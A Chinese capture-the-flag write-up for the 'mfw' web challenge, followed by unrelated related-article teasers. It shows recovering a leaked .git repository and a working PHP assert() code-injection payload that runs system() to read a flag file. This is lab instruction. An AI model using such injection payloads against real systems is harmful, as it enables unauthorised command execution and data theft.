攻防世界：mfw[WriteUP]
根据题目提示考虑是git库泄露
这里在地址栏后加.git也可以验证是git库泄露
使用GitHack工具对git库进行恢复重建
在templates目录下存在flag.php文件，但里面并没有flag
有内容的只有主目录下的index.php
index.php源码：
<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>My PHP Website</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" /></head><body><nav class="navbar navbar-inverse navbar-fixed-top"><div class="container"><div class="navbar-header"><button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"><span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button><a class="navbar-brand" href="#">Project name</a></div><div id="navbar" class="collapse navbar-collapse"><ul class="nav navbar-nav"><li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li><li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li><li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li><!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --></ul></div></div></nav><div class="container" style="margin-top: 50px"><?phprequire_once $file;?></div><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" /><script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" /></body>
</html>提取需要审计的PHP代码
代码审计：
<?phpif (isset($_GET['page'])) { //判断$page是否存在$page = $_GET['page']; //存在就以get方法取值
} else {$page = "home"; //不存在就将"home"赋值给新建$page
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//assert函数返回值如果不为true则执行die命令则PHP脚本终止运行
//所以我们可以构造一个$file使其直接执行系统命令并加上注释符把判断".."的部分注释掉并即可// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
//判断$file文件是否存在，不存在直接终止脚本?>
其中有一串关键代码：$file = "templates/" . $page . ".php";
我们通过前面的GitHack已知悉flag.php文件就在templates目录下
所以我们构造payload的时候使$page有cat flag.php命令就行
重点：assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
首先使strpos函数闭合，利用函数结构strpost('，那么$file的前半部分应该是：')
后面接上命令： or system('cat templates/flag.php')，再接上注释符：//
如此这般，该条代码最后执行的效果应该是：【绿色部分被//注释】
assert("strpos('') or system('cat templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");
strpost('')参数为空时返回false，所以直接执行or后面的代码
最后构造payload：URL/?page=') or system('cat templates/flag.php');//
flag：cyberpeace{a97ae1229c2668130daa2f0f432fdd1b}
相关文章：
攻防世界：mfw[WriteUP]
根据题目提示考虑是git库泄露 这里在地址栏后加.git也可以验证是git库泄露 使用GitHack工具对git库进行恢复重建 在templates目录下存在flag.php文件，但里面并没有flag 有内容的只有主目录下的index.php index.php源码： <?phpif (isset($_GET[page…...
mysq性能优化-my.cnf配置文件参数调整
MySQL 优化配置文件（my.cnf 或 my.ini）是调整 MySQL 服务器性能的重要手段之一。以下是一些常见的场景，可以通过调整配置文件参数值来优化 MySQL： 1. **提高并发处理能力**： - innodb_buffer_pool_size：增…...
ddres( ) 组站星双差方程和设计矩阵
1 ddres( )参数介绍 rtklib中进行的单频解算 双差观测值，单差的模糊度 单频点双差 DD (double-differenced) phase/code residuals ------------------------------ x 模糊度 P 方差-协方差阵 sat 共识卫星列表 ns 共识卫星数量 y…...
【OpenCV】图像像素的遍历
1 前言 介绍两种遍历像素的方法（非指针、指针）。注意：.at() .ptr()的作用、用法。相关API： Mat对象.ptr() Mat对象.at() 2 代码及内容 #include "iostream" #include "opencv2/opencv.hpp"using namespac…...
（超简单）构建高可用网络应用：使用Nginx进行负载均衡与健康检查
当构建高可用的网络应用时，负载均衡是至关重要的技术之一。Nginx 是一个强大的开源反向代理服务器，提供了丰富的负载均衡功能，包括负载均衡算法和健康检查。在本篇博客中，我们将讨论如何使用 Nginx 进行负载均衡，并结合…...
华为OD面试手撕算法-合并排序数组
题目描述 本题是leetcode一道简单题：合并两个有序数组，但是对于时间和空间复杂度面试官明确给出了限制。 // 给定两个排序后的数组 A 和 B，其中 A 的末端有足够的缓冲空间容纳 B。 编写一个方法，将 B 合并入 A 并排序。 // 初始化…...
云智慧发布对象关系型数据库CloudPanguDB，打破传统技术壁垒
近日，云智慧推出关系型数据库CloudPanguDB（中文名称：盘古数据库），旨在通过高兼容性能和创新技术架构，降低企业项目整体运营成本。 无论是处理海量复杂数据，还是构建清晰有序的数据结构关系&…...
6.8物联网RK3399项目开发实录-驱动开发之RTC实时时钟的使用（wulianjishu666）
90款行业常用传感器单片机程序及资料【stm32,stc89c52,arduino适用】 链接：https://pan.baidu.com/s/1M3u8lcznKuXfN8NRoLYtTA?pwdc53f RTC 使用 简介 AIO-3399J 开发板上有 一个集成于 RK808 上的RTC(Real Time Clock)，主要功能有时钟，…...
VUE——概述
vue是前端框架，基于MVVM思想。 引入 从官网下载vue文件 <script src"js/vue.js"></script> 定义vue对象 new Vue({el: "#x",//vue接管区域，#表示选择器，x是id名字data: {message: "y"} })案例…...
合宙4G模块Air724UG调试过程(短信发送、上传数据到华为云IOT)
合宙Air724UG-4G模块AT指令调试接线演示 一、前言 上海合宙Air724UG模块是一款高性能的4G Cat.1通信模组（全网通模块，支持移动、联通、电信，支持短信和网络通信），为开发者提供了丰富的接口和开发方式。 在本文中，将详述调试与集成该模块的关键步骤： （1）从基础硬件配…...
【项目新功能开发篇】需求分析和开发设计
作者介绍：本人笔名姑苏老陈，从事JAVA开发工作十多年了，带过大学刚毕业的实习生，也带过技术团队。最近有个朋友的表弟，马上要大学毕业了，想从事JAVA开发工作，但不知道从何处入手。于是࿰…...
CentOS 7 下离线安装RabbitMQ教程
CentOS 7 下安装RabbitMQ教程一、做准备（VMWare 虚拟机上的 CentOS 7 镜像 上安装的） （1）准备RabbitMQ的安装包（rabbitmq-server-3.8.5-1.el7.noarch）下载地址mq https://github.com/rabbitmq/rabbitmq-se…...
【Servlet】session保存作用域
session保存作用域：一次会话范围都有效 Java的服务器端，有一块内存专门存储在session保存作用域的数据。 session保存作用域是和具体的某一个session对应的。 常用API： void session.setAttribute(k, v)Object session.getAttrivute(k) —…...
企业周年庆3d云展厅促进了客企间交流与互动
在数字化浪潮席卷而来的今天，传统的展示方式已难以满足现代人对信息获取与体验的高标准需求。为此，一种革命性的展示方式——线上3D虚拟展厅应运而生，以其独特的魅力逐渐引领展示方式的革新。 线上3D虚拟展厅开发，不仅为参与者带来…...
Android Studio学习5——布局layout与视图view
wrap_content，内容有多大，就有多宽（包裹） 布局 padding 边框与它自身的内容 margin 控件与控件之间...
设计模式(15)：迭代器模式
介绍 提供一中可以遍历聚合对象的方式。又称为: 游标cursor模式 迭代器模式角色 抽象聚合类(Aggregate)：提供了聚合相关的方法,并提供获取迭代器的方法；具体集合类(ConcreteAggregate):实现了抽象聚合类；抽象迭代器(Iterator)：…...
前端内部技术分享---前端组件之表格组件的封装与使用（Vue3）
业务背景 在我们接触的项目中，PC端的项目中基本上百分之60或以上，都会用到表格，我们最常用的 就是element-plus 组件库，相信大家都对el-table 都比较熟悉了，但是在许许多多大同小异的界面中，每次都要写很多…...
【一】Mac 本地部署大模型
盘古开天辟地开始 # 安装brew/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"(echo; echo eval "$(/opt/homebrew/bin/brew shellenv)") >> /Users/wangxin52/.zprofileeval "$(/opt/homeb…...
vue实现相机拍摄，可录视频、拍照片、前置后置切换（简单小demo）
内容比较简单，不做过多赘述，只做分享，测试demo，功能有些缺陷，希望路过的大佬多多指正 /(*/ω＼*) <script setup> import { showToast, showSuccessToast, showFailToast, showLoadingToast } from …...
【项目】牛马点评 问题汇总
如果一个人换很多个不同电话号发验证码会怎样 项目里没实现，如果让我做的话，我会获得用户的ip地址，然后存到redis里，设置个ttl比如1分钟，每次请求过来后就先看看redis里有没有这个ip，有的话就不发验证码。…...
使用 Docker Compose 部署邮件服务器
使用 Docker Compose 部署邮件服务器 很多时候为了方便， 我们都直接使用第三方邮箱进行收发邮件。 但第三方邮箱有些要求定期修改密码，有些限制发邮箱的次数， 对于一些个人和企业来说， 有自己的域名和服务器为什么不自己搭建一个邮…...
FastAPI+React全栈开发21 探索React路由器和其他好东西
Chapter04 Setting Up a React Workflow 21 Exploring React Router and other goodies FastAPIReact全栈开发21 探索React路由器和其他好东西 So far, we have only created a couple of single-page apps that are really single pages, we haven’t touched some advance…...
Java pdfbox 给 PDF 添加文字和图片水印 并旋转45度
POM <dependency><groupId>org.apache.pdfbox</groupId><artifactId>pdfbox</artifactId><version>2.0.27</version> </dependency> 代码： import org.apache.pdfbox.pdmodel.PDDocument; import org.apache.pdf…...
微信小程序中路由跳转方式
文章目录 wx.switchTab(Object)wx.reLaunch(Object)wx.redirectTo(Object)wx.navigateTo(Object)wx.navigateBack(Object) 常见的微信小程序页面跳转方式有如下： wx.switchTab(Object)：跳转到 tabBar 页面，并关闭其他所有非 tabBar 页面&…...
Flutter应用发布前的关键iOS设备测试策略
本文探讨了使用Flutter开发的iOS应用能否上架，以及上架的具体流程。苹果提供了App Store作为正式上架渠道，同时也有TestFlight供开发者进行内测。合规并通过审核后，Flutter应用可以顺利上架。但上架过程可能存在一些挑战，因此可能…...
深入理解Linux环境配置文件：.bashrc、.bash_profile和.profile
在Linux世界中，理解各种shell配置文件如.bashrc、.bash_profile和.profile的作用和区别对于有效地管理和定制你的命令行环境至关重要。许多用户经常对这些文件的功能和使用场景感到困惑。本文旨在详细解释这些配置文件的差异、作用以及它们的正确使用方法。 .bashr…...
数据库设计规范（三大范式）
1、第一范式*（确保每列保持原子性） 第一范式是最基本的范式。如果数据库表中的所有字段值都是不可分解的原子值，就说明该数据库满足第一范式。 第一范式的合理遵循需要根据系统给的实际需求来确定。比如某些数据库系统中需要用到“地址”这…...
图论模板详解
目录 Floyd算法 例题：蓝桥公园 Dijkstra算法 例题：蓝桥王国 SPFA算法 例题：随机数据下的最短路问题 总结 最小生成树MST Prim算法 Kruskal算法 例题：聪明的猴子 Floyd算法 最简单的最短路径算法，使用邻接…...
ArcGIS Pro打不开Excel?Microsoft驱动程序安装不上？
刚用ArcGIS pro的朋友们可能经常在打开xls或者xlsx文件的时候都会提示，未安装所需的Microsoft驱动程序。 怎么办呢？当然，按照提示装一下驱动就会好吗？有什么状况会出现？有什么临时替代方案呢？ 全文目录&a…...
简单了解裸眼3D呈现技术
裸眼3D呈现是一种不需要佩戴任何特殊设备（如3D眼镜或头盔）即可观看到3D效果的技术。这种技术近年来得到了快速发展，为观众带来了更加沉浸式的视觉体验。 实现裸眼3D呈现的关键步骤包括： 创建立体图像源：首先需要有一…...
wordpress主题邮件模板/网络营销的优势包括
当你登录MySQL数据库出现：Error 1045错误时（如下），就表明你输入的用户名或密码错误被拒绝访问了，最简单的解决方法就是将MySQL数据库卸载然后重装，但这样的缺点就是就以前的数据库中的信息将丢失࿰…...
肥西县建设官方局网站/熊猫关键词工具
业务是否依赖COPY命令加载数据？PostgreSQL12提供了一个新特性，大大加快了加载速度。COPY：Loading and unloading data as fast as possible细看PostgreSQL12的COPY语法，发现有两处变动：1）\h 会有手册文档链…...
德宏企业网站建设公司6/房地产新闻最新消息
C#中的快捷键，可以更方便的编写代码//CTRL SHIFT B 生成解决方案//CTRL F7 生成编译//CTRL O 打开文件//CTRL SHIFT O 打开项目//CTRL SHIFT C 显示类视图窗口//F4 显示属性窗口//SHIFT F4 显示项目属性窗口//CTRL SHIFT E 显示资源视图//F12 转到定义//…...
上海做什么工作最赚钱/关键词排名优化流程
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼全国计算机二级考试大题把题目给定程序删除了，正确运行，这样会不会给分？50、请编写函数fun, 函数的功能是: 将M行N列的二维数组中的数据, 按列的顺序依次放到一维数组中。函数fun中给出的语句仅供…...
建设银行招标网站/深圳网络推广专员
返回目录 今天写缓存篇的第一篇文章，在写完目录后，得到了一些朋友的关注，这给我之后的写作带来了无穷的力量，在这里，感谢那几位伙伴，哈哈！ 书归正传，今天我带来一个Static静态成员的…...
条形码怎么做网页/搜索引擎优化的七个步骤
一、题目描述 实现一个二叉搜索树迭代器类BSTIterator ，表示一个按中序遍历二叉搜索树（BST）的迭代器： BSTIterator(TreeNode root) 初始化 BSTIterator 类的一个对象。BST 的根节点 root 会作为构造函数的一部分给出。指针应初始化为一个不存在于 BST 中的数字，且该数字小…...